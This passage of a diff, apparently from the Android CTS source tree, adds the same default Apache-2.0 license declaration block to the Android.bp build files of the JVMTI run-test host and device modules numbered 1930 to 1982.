+++ b/hostsidetests/jvmti/run-tests/test-1930/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1930DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1931/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
index feb6e6a..972f75e 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1931/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1931HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
index c3fc64a..d0beb7c 100644
--- a/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1931/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1931DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1932/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
index 5aee52d..ff0d225 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1932/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1932HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
index a317ca5..cd1ced8 100644
--- a/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1932/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1932DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1933/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
index cb0fed0b..1b0f483 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1933/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1933HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
index 62a62ea..c9f867e 100644
--- a/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1933/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1933DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1934/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
index 301ffba..079f6de 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1934/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1934HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
index 2b73db8..3c7dff0 100644
--- a/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1934/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1934DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1936/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
index 6e3e1d7..ff1c9a5 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1936/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1936HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
index 4f15834..2d6b7a3 100644
--- a/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1936/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1936DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1937/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
index e85825b..695edb2 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1937/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1937HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
index b9005dd..0c01c23 100644
--- a/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1937/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1937DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1939/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
index 6c5f257..b82555f3 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1939/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1939HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
index f0cf4dd..15cc8a4 100644
--- a/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1939/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1939DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1941/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
index 80246a0..7134464 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1941/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1941HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
index d0f3c0c..bc98486 100644
--- a/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1941/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1941DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1942/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
index 2649361..a5163e2 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1942/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1942HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
index 7a7d4a8..e9c888f 100644
--- a/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1942/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1942DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1943/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
index 2b8ff6c..a7efc95 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1943/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1943HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
index afcbbd0..9571e1d 100644
--- a/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1943/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1943DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1953/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
index 5cb0fc2..d2251b2 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1953/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1953HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
index 663050b..d56a461 100644
--- a/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1953/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1953DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1958/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
index ce50088..721bb03 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1958/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1958HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
index c3cd926..c11ecb4 100644
--- a/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1958/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1958DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1962/Android.bp b/hostsidetests/jvmti/run-tests/test-1962/Android.bp
index b1a4087..662cacc 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1962/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1962HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
index 3790fdd..1741360 100644
--- a/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1962/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1962DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1967/Android.bp b/hostsidetests/jvmti/run-tests/test-1967/Android.bp
index 370596b..995959e 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1967/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1967HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
index b3e1d87..79bafff 100644
--- a/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1967/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1967DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1968/Android.bp b/hostsidetests/jvmti/run-tests/test-1968/Android.bp
index 1c9f406..1b57bf6 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1968/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1968HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
index 5a0a713..d92f49a 100644
--- a/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1968/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1968DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1969/Android.bp b/hostsidetests/jvmti/run-tests/test-1969/Android.bp
index 46975d5..fa5c6df 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1969/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1969HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
index b78ee72..84524e9 100644
--- a/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1969/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1969DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1970/Android.bp b/hostsidetests/jvmti/run-tests/test-1970/Android.bp
index be85e20..94e1d9a 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1970/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1970HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
index 4f0651f..d557923 100644
--- a/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1970/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1970DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1971/Android.bp b/hostsidetests/jvmti/run-tests/test-1971/Android.bp
index db2d5ef..1ac9d3a 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1971/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1971HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
index bb4dfed..8aa12c5 100644
--- a/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1971/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1971DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1974/Android.bp b/hostsidetests/jvmti/run-tests/test-1974/Android.bp
index 87a90ed..d1ccbe3 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1974/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1974HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
index da977ea..516bbb4 100644
--- a/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1974/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1974DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1975/Android.bp b/hostsidetests/jvmti/run-tests/test-1975/Android.bp
index e23cfa7..1d72113 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1975/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1975HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
index 345a252..0144c57 100644
--- a/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1975/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1975DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1976/Android.bp b/hostsidetests/jvmti/run-tests/test-1976/Android.bp
index 38e8612..fba22ee 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1976/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1976HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
index ae91ef2..c1d2afa 100644
--- a/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1976/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1976DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1977/Android.bp b/hostsidetests/jvmti/run-tests/test-1977/Android.bp
index 3b76f5b..0b70b9a 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1977/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1977HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
index e5c0251..f311834 100644
--- a/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1977/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1977DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1978/Android.bp b/hostsidetests/jvmti/run-tests/test-1978/Android.bp
index bb3bfce..62bda0d 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1978/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1978HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
index 523da34..b8da46d 100644
--- a/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1978/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1978DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1979/Android.bp b/hostsidetests/jvmti/run-tests/test-1979/Android.bp
index bd812f7..8f26f89 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1979/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1979HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
index a3c6ec5..2d2f89b 100644
--- a/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1979/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1979DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1981/Android.bp b/hostsidetests/jvmti/run-tests/test-1981/Android.bp
index 4e1982d..510e0aa 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1981/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1981HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
index 98e452b..cd338eb 100644
--- a/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1981/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsJvmtiRunTest1981DeviceApp",
     defaults: ["cts-run-jvmti-defaults"],
diff --git a/hostsidetests/jvmti/run-tests/test-1982/Android.bp b/hostsidetests/jvmti/run-tests/test-1982/Android.bp
index f946542..9e070ff7 100644
--- a/hostsidetests/jvmti/run-tests/test-1982/Android.bp
+++ b/hostsidetests/jvmti/run-tests/test-1982/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsJvmtiRunTest1982HostTestCases",
     static_libs: ["CtsJvmtiHostTestBase"],
diff --git a/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1982/app/Android.bp
index 496e7ab..07c2395 100644
